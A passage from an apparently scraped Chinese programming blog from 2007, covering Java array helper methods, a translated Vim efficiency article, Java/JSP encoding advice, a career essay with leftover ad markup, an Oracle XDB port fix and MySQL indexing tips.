                i++;
            }
            return str_new;
        }

    示例:
            String[] mobile={"13811071500","13811071500","13811071501","13811071503","13811071501"};
            mobile=checkArray(mobile);
            for(int i=0;i<mobile.length;i++)
                System.out.println(mobile[i]);
           输出结果为:
            13811071503
            13811071501
            13811071500
    2.A,B均为字符串数组,找出在A中存在,而在B中不存在的字符串
        public String[] compareArray(String[] A,String[] B){
            Hashtable<String, String> hash=new Hashtable<String, String>();
            Hashtable<String, String> hash_new=new Hashtable<String, String>();

            for(int i=0;i<B.length;i++)
                hash.put(B[i], B[i]);

            for(int i=0;i<A.length;i++){
                if(!hash.containsKey(A[i]))
                    hash_new.put(A[i], A[i]);
            }

            String[] C=new String[hash_new.size()];
            int i=0;
            Enumeration enumeration=hash_new.keys();

            while(enumeration.hasMoreElements()){
                C[i]=enumeration.nextElement().toString();
                i++;
            }
            return C;
        }
    示例:
            String[] mobile1={"13811071500","13811071501","13811071502","13811071503","13811071504"};
            String[] mobile2={"13811071500","13811071505","13811071502","13811071506","13811071504"};
            String[] mobile3=compareArray(mobile1,mobile2);
            for(int i=0;i<mobile3.length;i++)
                System.out.println(mobile[i]);
    输出结果:
        13811071503
        13811071501
    存在的问题:
    每次都是倒序,可以再对程序稍加改动,变成正序。

    3.将一个字符串数组中某一个特定的字符串过滤掉
    /** *//**检验一个字符串数组,若包含某一特定的字符串,则将该字符串从数组中删
    除,返回剩余的字符串数组
         * @param str_array 字符串数组
         * @param str_remove 待删除的字符串
         * @return 过滤后的字符串
         */
        public String[] removeStrFromArray(String[] str_array,String
    str_remove)...{
            Hashtable<String, String> hash=new Hashtable<String, String>();
            for(int i=0;i<str_array.length;i++)...{
                if(!str_array[i].equals(str_remove))
                    hash.put(str_array[i], str_array[i]);
            }
            //生成一个新的数组
            String[] str_new=new String[hash.size()];
            int i=0;
            Enumeration enumeration=hash.keys();
            while(enumeration.hasMoreElements())...{
                str_new[i]=enumeration.nextElement().toString();
                i++;
            }
            return str_new;
        }
    posted @ 2007-11-06 21:07 jadmin 阅读(89) | 评论 (0)编辑 收藏

    如果你的很多时间是用来敲纯文本,写程序或HTML,那么有效地使用一个好的编辑器能节省你不少时间。这篇文章里的指导和提示将有助于你更快工作,更少犯错误。

    文中采用开源文本编辑器Vim(Vi IMproved)说明有效编辑的思想,但这些思想也适用于其他编辑器。择合适的编辑器只是有效编辑的第一步,对于哪个编辑器更好的讨论将占很大地方,这里就不提了。如果你不知道该用哪个编辑器,或者对现在所使用的不太满意,不妨试试Vim;你是不会失望的。

    第一部分:编辑一个文件

    快速定位

    编辑中大部分时间是花费在阅读、查错和寻找应该进行编辑的地方上,而不是插入新文字或进行修改。在文件中不断定位(navigate)是经常要做的,所以最好学会如何快速地进行。

    你常会搜寻文档中的一些文字。或者找出包含特定词或词组的行。你当然可以使用搜寻命令 /pattern,不过还有更聪明的方法:

    * 如果你看到一个特定词,想看看其他地方是不是出现过同样的词,可以使用* 命令。它将对光标所指的词进行搜寻。
    * 如果设置了 ' incsearch' 选项,Vim将在你正在输入搜寻模式的时候就显示搜寻的结果(而不是等到你敲了回车之后)。这能够使你更快地找出拼写错误。
    * 如果设置了 ' hlsearch' 选项,Vim将使用黄色背景对搜寻结果进行高亮显示。你可以对搜寻的结果一目了然。应用在程序代码中可以显示变量的所有引用。你甚至不需要移动鼠标就能看到所有的搜寻结果。

    对于结构化的文档,快速定位的办法就更多了。Vim提供专门针对C程序(以及C++、Java等等)的特殊命令:

    * 使用 %可以从开始括号跳到对应的关闭括号。或者从 ``#if'' 跳到对应的 ``#endif''。事实上, % 可以完成许多对应项之间的跳转。可以用来检查if()和{}结构是否平衡。
    * 使用 [{可以在代码段(block)中跳回到段起始的 ``{``。
    * 使用 gb 可以从引用某个变量的地方跳转到它的局部声明。

    定位的方法当然不止这些。关键是你需要知道有这些命令。你也许会说不可能学会所有命令 — Vim里有成百个定位命令,有的很简单,有的很聪明 — 这需要几星期的学习。不过,你不必如此;你只需要了解自己的编辑特点,然后掌握相关的定位命令就可以了。

    可以采取三个基本步骤:

    1. 在你进行编辑的时候,注意那些重复进行的操作。
    2. 找出能快速进行这些操作的编辑命令。阅读文档,问问朋友,或者看看其他人是如何做的。
    3. 进行练习,知道熟练为止。

    让我们通过以下这个例子说明一下:

    1. 你发现在写C程序时,经常要查找函数定义。你目前使用 * 命令对函数名进行搜寻,但得到的往往是函数的引用而不是函数定义。你觉得一定会有更好的办法。
    2. 读过一篇快速参考以后,你发现关于定位标记的说明,里面说明了如何定位函数定义,这正是你要找的!
    3. 你试着生成了一个标记文件,使用Vim自带的ctags程序。你学会了使用CTRL-] 命令,发现这省了不少事。为了更方便,你在 Makefile 里加入了几行以自动生成标记文件。

    当你使用以上三个步骤时,有几点需要注意的地方:

    * ``我只想完成任务,不想去读那些文档来找新的命令。''。如果你真的是这么想的,那么你将永远停留在计算的石器时代。有些人编写什么都用Notepad,却总不明白为什么其他人总能用他一半的时间成任务。
    * 不要过分。如果你总为一点小事也要去找完美的命令,你就没法集中精力到你本要完成的任务上了。只要找出那些耗费过多时间的操作,然后使用相关的命令直到熟练就可以了。这以后你就能集中精力到自己的文档上了。

    下面这些章节给出了大多数人遇到的操作。你仿照它们在实际工作中使用

    三个基本步骤

    不要敲两次

    我们所使用的字词集合是有限的。既使是词组和句子也不过是有限的几个。对于程序来说更是如此。很明显,你不想把同样的东西敲上两遍。

    你经常会想把一个词替换成另一个。如果是全文件替换,你可以使用:s (substitute)命令。如果只是几个位置需要被替换,一个快速办法是使用 * 命令找出下一个词,使用 cw 来进行替换。然后敲n 找到下个词,再用 . 重复 cw 命令。

    . 命令重复上一个改变。这里的改变是插入、删除或替换操作。能够重复进行操作是个极为强大的机制。如果好好使用它,那么你大部分的编辑工作可能只不过是敲几下 . 的事。小心不要在两次重复之间做其他修改,因为这将改变你要重复的操作。如果确实需要如此,可以使用 m 命令记住要修改的位置,等重复操作进行完毕之后再回过头来修改它。

    有些函数名和变量名可能很难敲。你能准确无误地输入``XpmCreatePixmapFromData''么?Vim的自动补齐机制能给你省不少事。它查看你正在编辑的文件以及#include文件,你可以只敲入``XpmCr'',然后使用CTRL-N 命令让Vim把它补齐为``XpmCreatePixmapFromData''。这不但节省了输入时间,而且减少了输入的错误。

    如果你有同样的词组或句子需要输入多次,还有个更简单的办法。Vim可以进行录制宏。使用 qa 命令开始在'a'寄存器里录制宏。然后正常地输入编辑命令,最后用 q 退出录制状态。如果你想重复所录制的命令,只需执行 @a 命令。Vim总共提供26个这样的宏寄存器。

    使用宏录制功能可以记录各种操作,不只限于插入操作。如果你想重复一些东西,不妨一试。

    需要注意的是记录的命令会被原封不动地重复执行。在进行定位时简单的重复宏操作可能不是你想要的结果。比如对于一个词这里可能需要左移4个字符,在下个地方可能就要左移5个字符。所以必须定位到合适的位置再重复进行宏操作。

    如果你要重复的命令很复杂,把它们一次敲进去会很困难。这时你可以写一个脚本或宏。这常被用于建立代码模板;比如,一个函数头。你想做得多聪明就可以做得多聪明。

    知错就改

    编辑时经常会出错。无人能免。关键是快速发现并进行改正。编辑器应该提供这方面的支持,不过你必须告诉它什么是对什么是错。

    你可能常常会重复同样的错误,你的手指所做的并非是你要它做的。可以使用缩写(abbreviation)进行修正。下面是一些例子:


    * :abbr Lunix Linux
    * :abbr accross across
    * :abbr hte the


    这些词会在编辑时被自动改正。

    同样的机制也可以用于对很长的词语进行缩写。特别适用于输入那些你觉得很难敲的词,它可以避免出错。比如:

    * :abbr pn pinguin
    * :abbr MS Mandrake Software

    但有时候你想要的正是那些缩写,比如想插入``MS''。所以缩写中最好使用那些不会出现在文中的词。

    Vim提供了一个很聪明的高亮机制,一般用于程序的语法高亮,不过也可以用来查错。

    语法高亮会使用颜色显示注释。这听上去不是什么特别重要的功能,不过一旦用起来就会发现这其实很有用。你能够快速地发现那些没有高亮却本应作为注释的文字(可能是因为忘了敲注释符)。也可以发现一些被错误当成注释的代码(可能是因为忘了敲``*/'')。这些错误在黑白方式下是很难被发现的,浪费了不少调试时间。

    语法高亮也可以用来查找不匹配的括号。一个未被匹配的``)''会被亮红色背景加以标识。你可以使用 % 命令他们是被如何匹配的,然后把``(''或``)''插入到合适的位置。

    另一类常犯的错误也很容易发现,比如把 ``#include <stdio.h>''敲成了``#included <stdio.h>''。在黑白方式下这是很难发现的,但在语法高亮下则能很快发现``include''能被高亮而``included''没有。

    再看一个更复杂的例子:对于英文文本你可以定义一个所要使用的词的长列表。所有未在表中出现的词都可能是错误,并进行高亮显示。可以定义几个用于编辑词表的宏。这正是字处理器的拼写检查功能。Vim中是靠一些脚本来实现的,你也可以对它进行定制:比如,只对注释中的文字进行拼写检查。

    第二部分:编辑多个文件

    文件总是成帮结伙

    人们很少只编辑一个文件。一般需要顺序或同时编辑一些相关的文件。你应该利用编辑器使多文件编辑工作更为高效地。

    上面提到的标识(tag)机制也支持跨文件搜寻。一般做法是为项目的所有文件生成标识文件,然后在项目的所有文件中搜寻函数、结构、类型(typedef)等的定义。这比手工搜寻要快捷的多;我浏览一个程序要做的第一件事便是建立标识文件。

    另一个强大的功能是使用 :grep 命令对一组文件进行模式搜寻。Vim把搜寻结果做成一个列表,然后跳到第一个结果。使用 :cn 命令跳到下一个结果。如果你想改变一个函数调用的、参数个数,那么这个功能会很有用。

    头文件里有很多有用的信息。然而要知道一个声明出现在哪个头文件中却需要花不少时间。Vim能够理解头文件,能够从中找到你需要的东西。把光标移动到函数名下,然后敲 [I:Vim就会显示出一个头文件中该函数名的所有匹配。
    如果你想得到更详细的结果,可以直接跳到声明中。一个类似的命令可以用于检查你所使用的头文件是否正确。

    你可以把Vim的编辑区域进行分隔,用来编辑不同的文件。你可以对两个或多个文件进行比较,或者进行拷贝/粘贴。有许多命令用于打开关闭窗口,文件间跳转,暂时隐藏文件等等。可以再使用上面提到的三个基本步骤选择合适的命令进行学习。

    多窗口还有更多的用法。预览标识(preview-tag)就是个很好的例子。它打开一个特殊的预览窗口,光标还保留在你正在编辑的文件中。预览窗口中可以是光标所指函数的声明。如果你移动光标到另一个名字下,停留一两秒,预览窗口中就会显示那个名字的定义。名字还可以是头文件中声明的结构或函数。

    让我们一起来工作

    编辑器可以编辑文件。e-mail程序可以收发消息。操作系统可以运行程序。每个程序都有它自己的任务,而且应该做好。如果能让程序一同工作,那么就会实现很强大的功能。

    举个简单的例子:选择一个列表中的结构化的文字,并对它进行排序:!sort。这将使用外部命令``sort''来过滤文件。容易吧?排序功能是可以添加到编译器中的。不过看一下``man sort''就知道它有很多选项。它可能用了一个极为精巧的排序算法。你还打算把它加到编辑器中么?更何况还有其他不少过滤程序。编辑器可能会变得很大。

    Unix精神的一个体现就是提供独立的程序,各自做好自己的任务,然后组合起来完成更大的任务。不幸的是,许多编辑器不能很好地和其他程序一起工作,比如,你不能包Netscape的邮件编辑器换成其他编辑器。这样你只能使用那个不顺手的程序。另一个趋势是在编辑器里提供所有的功能,Emacs就是个代表(有人说Emacs其实是个操作系统,只是可以用来编辑文件)。

    Vim尽力和其他程序集成,但这需要经过斗争。目前Vim已经可以作为MS-Developer Studio和Sniff的编辑器。一些e-mail程序(比如Mutt)也支持外部编辑器。和Sun Workshop的集成工作正在进行中。总的来说这个领域还有待提高。将来我们会有一个大于其各部分总和的系统。

    文本结构化

    你可能经常会遇到有一些结构的文本,这些结构可能同于那些现有命令所支持的结构。这样你不得不利用那些底层的``砖头''创建你自己的宏和脚本。这里说明的就是这类更复杂的东西。

    有个简单的办法可以加速编辑-编译-修改这个循环。Vim提供 :make 命令,用于进行编译,并且获取错误输出,把你带到发生错误的地方进行修正。如果你使用了另一个编译器,那么错误就无法被Vim获得。如果不想自己动手,可以修改' errorformat'选项。告诉Vim错误是什么样子,以及如何从中获得文件名和行号。它支持复杂的gcc错误信息,所以应该也能支持其他编译器。

    有时处理一个新的文件类型只需要设置几个选项或写一些宏。比如,为了在man手册中进行跳转,你可以写一个宏获取光标下的词,清除缓冲区,然后读入新的man手册。这是简单而高效的参照(cross-reference)方法。

    使用三个基本步骤,你可以更有效地处理各种结构化文件。只需要想想你想对文件采取的操作,然后找到相应的命令去用就是了。就这么简单,你只要去做就成了。

    第三部分:磨刀

    养成习惯

    要学会开车必须下功夫。这是不是你只骑自行车的原因么?当然不是,你会发现你必须花时间来获得所需的技术。文本编辑也不例外。你需要学习新的命令,并使用它直至成为习惯。

    另一方面,你不应该试图学习编辑器提供的每个命令。这是彻底的浪费时间。大多数人只需要学习10%到20%的命令就足够工作了。但是每个人所需要的命令都各不相同。你需要不断学习,找出那些可以自动完成的重复操作。如果你只做一次操作,而且以后也不会再去做,那么就不需要进行优化。是如果你发现你在过去的一小时中重复了好几遍同样的操作,那么就有必要查看一下手册,看看能否更快速地完成。或者写一个宏来做。如果是是个不小的任务,比如对一类文本进行对齐,你需要阅读一下新闻组或看看Internet上是不是有人已经解决了同样的问题。

    最根本的步骤是最后的那一个。你可能能够找到一个重复性的任务,找到一个不错的作法,可过了一个周末就彻底忘了自己是怎么做的了。这不成。你必须重复你的作法直到烂熟于胸。只有这时你才真正获得了你需要的高效。一次不要学得太多。一次只试一些工作得很好的方法。对于那些不常用的技巧,你可能只需要把它记下来,留待以后查阅。总之,如果抱着这样的目标,你的编辑技能就会更加有效。

    最后需要指出的是,如果人们忽略了以上几点会发生什么:我仍然可以看到有人盯着屏幕看上半天,用两个指头敲几下,然后继续抬头看着屏幕,还抱怨自己太累.. 把十个指头都用上!这不光更快,还不累。每天抽出一个小时练习一下指法,只要几星期就足够了。

    后记

    书名得益于Stephen R. Covey所著的那本畅销书《高效人的七种习惯》(``The 7 habits of highly effective people'')。

    关于作者

    Bram Moolenaar是Vim的主要作者。他编写了Vim核心功能,并采纳了许多开发者提供的代码。他的e-mail地址是:Bram@Moolenaar.net

    posted @ 2007-11-06 11:14 jadmin 阅读(48) | 评论 (0)编辑 收藏

      1、Java编译器在对源文件编译前,会先把源文件转换为unicode编码,因为这个原因,我们在编译时一定要把源文件用的是什么编码方式正确无误的”告诉”编译器。

      例如:我们的源文件是以UTF-8的方式保存的,而在编译时却把它当作是用GBK方式保存的,这样编译器就会按照GBK->Unicode的编码转换方法对源文件进行转换,然后再编译,这样当然会出错,实际上编译器应当按照UTF-8->Unicode的编码转换方法来对源文件进行转换。

      a.对于控制台程序,编译器会把源文件看作是由系统默认的编码类型来编码的(系统默认的编码类型取决于在控制面板区域设置里的配置,中文win2k下通常是GBK),也可以使用-encoding参数来设置,如:javac -encoding UTF-8,这样编译器就会把源文件看作是用UTF-8编码的(这只是告诉编译器源文件的编码类型,而不是对源文件转码)。在各种语言的平台上只要在编译用时-encoding指定与源文件的编码相同的编码方式,就不会存在国际化的问题了。

      b.对于JSP,编译器则会根据设定的字符集来判断JSP文件使用的是什么编码方式,进而将其转换成unicode后进行编译;若JSP中未指定,编译器则会把JSP文件看作是按照系统默认的编码来保存的。在JSP2.0里新增了一个指令来通知编译器这个源文件所使用的编码方式。

      2、在处理输入输出时,注意设置输入流和输出流的编码类型与用户输入时和输出设备显示时采用的编码方式一致。

      由于JRE在处理输入输出时会将输入或输出的内容进行编码转换,对于输入会转换为unicode后再送入,因此要正确的匹配实际输入内容的编码方式和告知JRE的编码方式,对于输出,会由unicode转换为其他的编码再送出程序,因此要正确匹配输出设备显示时用的编码方式和告知JRE的编码方式。

      例如:程序中设置输入流的编码是new InputStreamReader(System.in,"GB2312");而程序运行后用户输入时用了繁体中文的输入法,输入了BIG5编码的内容,这样JRE把BIG5编码的内容当作GB2312的进行了GB2312->unicode的编码转换,这样转换后的结果显然不是用户想要输入的内容了。

      默认情况下,JRE会把输入输出的内容当作是按照系统默认编码方式编码的。

      3、在Servlet中,除了一定要把源文件用的是什么编码方式正确无误的”告诉”编译器外,还要注意实际提交的URL数据、表单数据的编码格式和request中声明的编码格式一致。

      客户端浏览器在通过表单和URL提交数据时,容器和JVM会将request中的数据看作是按照request所声明的编码方式来编码的,将数据由这种编码方式转换为unicode后再送入servlet(实际上容器会先将request中的数据转为一种中间编码方式,具体根据容器的配置而定,再由JVM由这种中间方式转换为unicode,通常这种中间格式是ISO)。servlet输出的unicode数据会由容器根据response中声明的编码方式进行转换,再送到客户端浏览器上。

      在接收客户端输入时,用request.setCharacterEncoding()声明请求中数据的编码方式。

      在向客户端输出时用response.setContentType("text/html;charset=");声明响应的数据的编码方式,告知浏览器以哪种编码方式显示。

      4、在JSP中,由于JSP本就会被JSP编译器编译为servlet来运行,因此情况与servlet相同。

      这两个JSP指令声明了请求和响应的编码方式。

      只要确保URL参数或表单中数据的编码方式和所声明的编码方式一致,再通过告知JSP编译器本JSP文件采用的编码方式及含有哪种字符,即可解决JSP的字符编码问题。

      这里是一个具体的例子:

      现在因为浏览器对UTF-8的支持,我们可以通过在源文件、请求、响应中都使用unicode编码方式,来轻松达到处理国际化和字符编码问题的目标。

      以我们使用的tomcat4.1.2为例,过程如下:

      1、编写JSP页面时:在每个JSP页面在页首都要增加一行:

      在编辑JSP页面时,一定要确保JSP文件以unicode的方式保存,目前几乎所有的编辑器都有以unicode编码保存或将文件内容转换成unicode的功能。

      2、增加一个用来声明request的CharacterEncoding的类SetCharacterEncodingFilter.java;

      SetCharacterEncodingFilter的这个类主要的作用就是:把request在从页面刚提交到server端的时候的encoding声明为我们想要的encoding,通过调用request的方法setCharacterEncoding (String encoding) 来改变,这样可以使request的从客户端传过来的时候,按我们在web.xml (在第二点可以讲到) 中配置的encoding来对提交的数据编码。

      3、修改web.xml文件,配置一个filter来过滤全部url请求,通过第二步中的类,声明所有url请求的编码类型未UTF-8。

      在web.xml文件中加上以下这段:

      

    posted @ 2007-11-03 16:43 jadmin 阅读(47) | 评论 (0)编辑 收藏

    今天看到有个网友写到“打字速度是程序员的命根子”的文章(调侃),引发俺进一步想,到底什么才是程序员的命根子。

    首先,程序员(初级)的主要<strong class="kgb" onmouseover="isShowAds = false;isShowAds2 = false;isShowGg = true;InTextAds_GgLayer="_u5DE5_u4F5C";KeyGate_ads.ShowGgAds(this,"_u5DE5_u4F5C",event)" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; font-weight: normal; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin: 0px; cursor: hand; color: #0000ff; padding-top: 0px; border-right-width: 0px; text-decoration: underline" onclick="javascript:window.open("http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BwSwaDzAsR-a0H5ng6wPbwfy5CfqdyzOqkOW0A8CNtwGQvwUQARgBIIS04gcoFDgAUMSai7j4_____wFgnfHcgdAFoAH64sT8A6oBCjIwMDAwMjQxMjeyAQ1uZXdzLmNzZG4ubmV0yAEB2gEraHR0cDovL25ld3MuY3Nkbi5uZXQvbi8yMDA3MTEwMS8xMTAxNTIuaHRtbKkCLOcQc7QAgj7IAuL2oQGoAwHoA_EC9QMABAAA&num=1&adurl=http://www.chinahr.com/%3Fprj%3Dfa%26g%3D22&client=ca-pub-0892797939732602");GgKwClickStat("工作","chinahr.com","afc","2000024127");" onmouseout="isShowGg = false;InTextAds_GgLayer="_u5DE5_u4F5C"">工作是什么:根据<strong class="kgb" onmouseover="isShowAds = false;isShowAds2 = false;isShowGg = true;InTextAds_GgLayer="_u8BBE_u8BA1";KeyGate_ads.ShowGgAds(this,"_u8BBE_u8BA1",event)" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; font-weight: normal; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin: 0px; cursor: hand; color: #0000ff; padding-top: 0px; border-right-width: 0px; text-decoration: underline" onclick="javascript:window.open("http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BYxtWDzAsR-a0H5ng6wPbwfy5CZaR2y2es9SAA8CNtwGQvwUQEBgQIIS04gcoFDgAUMnCw4D-_____wFgnfHcgdAFqgEKMjAwMDAyNDEyN7IBDW5ld3MuY3Nkbi5uZXTIAQHaAStodHRwOi8vbmV3cy5jc2RuLm5ldC9uLzIwMDcxMTAxLzExMDE1Mi5odG1sqQIs5xBztACCPsgC7qPNAqgDAegD8QL1AwAEAAA&num=16&adurl=http://www.team-top.com/&client=ca-pub-0892797939732602");GgKwClickStat("设计","www.team-top.com","afc","2000024127");" onmouseout="isShowGg = false;InTextAds_GgLayer="_u8BBE_u8BA1"">设计写代码;写文档;修改bug;功能测试;简单逻辑设计。

    如果只是看这些工作内容的话,程序员的命根子是什么呢?

    1:基础编码能力。这个能力其实不需要大学本科学历的,技校,自学,或者专业<strong class="kgb" onmouseover="isShowAds = false;isShowAds2 = false;isShowGg = true;InTextAds_GgLayer="_u57F9_u8BAD_u673A_u6784";KeyGate_ads.ShowGgAds(this,"_u57F9_u8BAD_u673A_u6784",event)" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; font-weight: normal; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin: 0px; cursor: hand; color: #0000ff; padding-top: 0px; border-right-width: 0px; text-decoration: underline" onclick="javascript:window.open("http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BkCTxDzAsR-a0H5ng6wPbwfy5CZSctS342cKABcCNtwGQvwUQChgKIIS04gcoFDgAUJHV_foEYJ3x3IHQBaoBCjIwMDAwMjQxMjeyAQ1uZXdzLmNzZG4ubmV0yAEB2gEraHR0cDovL25ld3MuY3Nkbi5uZXQvbi8yMDA3MTEwMS8xMTAxNTIuaHRtbIACAakCLOcQc7QAgj7IAoS-twOoAwHoA_EC9QMABAAA&num=10&adurl=http://www.whpx.net/%3Fw%3Dgoog&client=ca-pub-0892797939732602");GgKwClickStat("培训机构","www.whpx.net","afc","2000024127");" onmouseout="isShowGg = false;InTextAds_GgLayer="_u57F9_u8BAD_u673A_u6784"">培训机构都可以学到。

    2:打字速度。

    当然,其他诸如“责任心”等不需赘述。综合来看,打字还真的是程序员的命根子,至少是两条腿中的一条。

    但是很明显,“打字是程序员的命根子”很多人都不认同,原因很简单,我们做的其实不仅仅是程序员(初级)的工作,而是兼作高级程序员,甚至UIDB、系统设计师,测试<strong class="kgb" onmouseover="isShowAds = false;isShowAds2 = false;isShowGg = true;InTextAds_GgLayer="_u5DE5_u7A0B_u5E08";KeyGate_ads.ShowGgAds(this,"_u5DE5_u7A0B_u5E08",event)" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; font-weight: normal; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin: 0px; cursor: hand; color: #0000ff; padding-top: 0px; border-right-width: 0px; text-decoration: underline" onclick="javascript:window.open("http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BpgJSDzAsR-a0H5ng6wPbwfy5CY_v6izj8rLWAsCNtwGgjQYQEhgSIIS04gcoFDgAUMjeixlgnfHcgdAFqgEKMjAwMDAyNDEyN7IBDW5ld3MuY3Nkbi5uZXTIAQHaAStodHRwOi8vbmV3cy5jc2RuLm5ldC9uLzIwMDcxMTAxLzExMDE1Mi5odG1sqQIs5xBztACCPsgCl8itA6gDAegD8QL1AwAEAAA&num=18&adurl=http://www.gz-benet.com/&client=ca-pub-0892797939732602");GgKwClickStat("工程师","www.gz-benet.com/","afc","2000024127");" onmouseout="isShowGg = false;InTextAds_GgLayer="_u5DE5_u7A0B_u5E08"">工程师

    这就是为什么我们觉得“打字速度”只是我们工作中极小的一部分了。

    中国的专业分工并不细致,特别是在这个新兴的行业里。10年前程序员还是绝对的白领,高级技术<strong class="kgb" onmouseover="isShowAds = false;isShowAds2 = false;isShowGg = true;InTextAds_GgLayer="_u4EBA_u5458";KeyGate_ads.ShowGgAds(this,"_u4EBA_u5458",event)" style="border-top-width: 0px; padding-right: 0px; padding-left: 0px; font-weight: normal; border-left-width: 0px; border-bottom-width: 0px; padding-bottom: 0px; margin: 0px; cursor: hand; color: #0000ff; padding-top: 0px; border-right-width: 0px; text-decoration: underline" onclick="javascript:window.open("http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BJw-yDzAsR-a0H5ng6wPbwfy5Cfmbxi3v-OHCAcCNtwGgnAEQBRgFIIS04gcoFDgAUL3Z9Mj8_____wFgnfHcgdAFoAHHlpP_A6oBCjIwMDAwMjQxMjeyAQ1uZXdzLmNzZG4ubmV0yAEB2gEraHR0cDovL25ld3MuY3Nkbi5uZXQvbi8yMDA3MTEwMS8xMTAxNTIuaHRtbIACAagDAegD8QL1AwAEAAA&num=5&adurl=http://www.weaver.com.cn/solutions/HRM.asp&client=ca-pub-0892797939732602");GgKwClickStat("人员","www.weaver.com.cn","afc","2000024127");" onmouseout="isShowGg = false;InTextAds_GgLayer="_u4EBA_u5458"">人员。现在的程序员也就是个蓝领,工资顶多算是中等,辛苦却能排高等。做个纯粹的程序员似乎看不到前途。并且业届里有句老话“程序员不过三十”,吃的还是一碗青春饭。这不是纯粹的抱怨,事实如此。

    国外情况可能稍有不同。40岁的程序员也大有人在,不少人就喜欢这个工作,不像我们,必须得做的更高尚一点才能扬眉吐气。这也不能怪我们不够专业,不够踏实,行业特点、社会大环境、价值观等等决定了我们的选择----必须做的“高级”一点。

    说道做的高级一点,那就是作设计师,作项目经历,作老板。

    如果相作这些,仅仅编码和打字就远远不够了。我们中的大多数都在朝这个方向努力吧。学着设计,学着关系业界走向,学着创新。学习之路没有止境,但是打字速度却有止境。

    记得有篇文章说,人的职业生涯大体可以这样分(大意如此):

    兴奋期:刚入行(或者刚开始一份新工作),2-3个月。

    疲劳期:3-6个月,甚至更长。很多人在这个极端出局。

    成长期:安全度过疲劳期之后,可能需要几年

    成熟期:熟练掌握行业要领,开始置身于行业里思考。

    …..

    为了不出局,既需要努力,也需要要不断的学习和充实自己。

    所以,我们这种程序员(复合型)的命根子是什么?答案是:学习、思考和努力

    每天都学习一些新技术,不断充实自己。不要以为vs2008仅仅是个beta版就和我没关系,不要觉得SmartPhone还远,对于新技术不敏感,很难走很远。这个,是成长期必不可少的。

    思考是一切进步的积石。出了思考工作范围之内的,也可以思考整个行业的走向。把自己融入到行业里面才能想得到更深更透彻。等到能思考到创行业之新了,也就离功成名就不远了。这也就是进入成熟期的保证。

    而对于刚入行的年轻人,多思考也能让自己尽快度过疲劳期,不至于在这个阶段出局。

    然后再加上努力,还有什么事情是做不到的呢。

        共勉吧。

    posted @ 2007-11-03 16:26 jadmin 阅读(112) | 评论 (0)编辑 收藏

    最近装了个 Oracle,突然发现每次访问http://localhost:8080/ 都要求输入什么XDB的用户、口令

    确实不知道输入什么,不输又报错误,上网查了下,有两种解决办法:

    方法1:

    在安装Tomcat时设置其端口号为8081或其他,也可以在安装后找到conf目录下的server.xml文件,修改其端口号;

    方法2:

    重新建个oracle    database    -----database    configration    assistant-----创建新数据库new    database    在安装过程中去掉关于XDB数据库选项.安装完毕就可以了。   

    posted @ 2007-10-29 17:32 jadmin 阅读(339) | 评论 (0)编辑 收藏
    1、使用索引来更快地遍历表。

      缺省情况下建立的索引是非群集索引,但有时它并不是最佳的。在非群集索引下,数据在物理上随机存放在数据页上。合理的索引设计要建立在对各种查询的分析和预测上。一般来说:
      a.有大量重复值、且经常有范围查询( > ,< ,> =,< =)和order by、group by发生的列,可考虑建立群集索引;
      b.经常同时存取多列,且每列都含有重复值可考虑建立组合索引;
      c.组合索引要尽量使关键查询形成索引覆盖,其前导列一定是使用最频繁的列。索引虽有助于提高性能但不是索引越多越好,恰好相反过多的索引会导致系统低效。用户在表中每加进一个索引,维护索引集合就要做相应的更新工作。

      2、在海量查询时尽量少用格式转换。
      3、ORDER BY和GROPU BY使用ORDER BY和GROUP BY短语,任何一种索引都有助于SELECT的性能提高。

      4、任何对列的操作都将导致表扫描,它包括数据库函数、计算表达式等等,查询时要尽可能将操作移至等号右边。

      5、IN、OR子句常会使用工作表,使索引失效。如果不产生大量重复值,可以考虑把子句拆开。拆开的子句中应该包含索引。
      6、只要能满足你的需求,应尽可能使用更小的数据类型:例如使用MEDIUMINT代替INT

      7、尽量把所有的列设置为NOT NULL,如果你要保存NULL,手动去设置它,而不是把它设为默认值。
      8、尽量少用VARCHAR、TEXT、BLOB类型
      9、如果你的数据只有你所知的少量的几个。最好使用ENUM类型
      10、正如graymice所讲的那样,建立索引。

      以下是我做的一个实验,可以发现索引能极大地提高查询的效率:
    我有一个会员信息表users,里边有37365条用户记录:
    在不加索引的时候进行查询:
    sql语句A:
    select * from users where username like '%许%';
    在Mysql-Front中的8次查询时长为:1.40,0.54,0.54,0.54,0.53,0.55,0.54 共找到960条记录
    sql语句B:
    select * from users where username like '许%';
    在Mysql-Front中的8次查询时长为:0.53,0.53,0.53,0.54,0.53,0.53,0.54,0.54 共找到836条记录
    sql语句C:
    select * from users where username like '%许';
    在Mysql-Front中的8次查询时长为:0.51,0.51,0.52,0.52,0.51,0.51,0.52,0.51 共找到7条记录
    为username列添加索引:
    create index usernameindex on users(username(6));
    再次查询:
    sql语句A:
    select * from users where username like '%许%';
    在Mysql-Front中的8次查询时长为:0.35,0.34,0.34,0.35,0.34,0.34,0.35,0.34 共找到960条记录
    sql语句B:
    select * from users where username like '许%';
    在Mysql-Front中的8次查询时长为:0.06,0.07,0.07,0.07,0.07,0.07,0.06,0.06 共找到836条记录
    sql语句C:
    select * from users where username like '%许';
    在Mysql-Front中的8次查询时长为:0.32,0.31,0.31,0.32,0.31,0.32,0.31,0.31 共找到7条记录

      在实验过程中,我没有另开任何程序,以上的数据说明在单表查询中,建立索引的可以极大地提高查询速度。

      另外要说的是如果建立了索引,对于like '许%'类型的查询,速度提升是最明显的。因此,我们在写sql语句的时候也尽量采用这种方式查询。

      对于多表查询我们的优化原则是:
      尽量将索引建立在:left join on/right join on ... +条件,的条件语句中所涉及的字段上。

      多表查询比单表查询更能体现索引的优势。

      11、索引的建立原则:
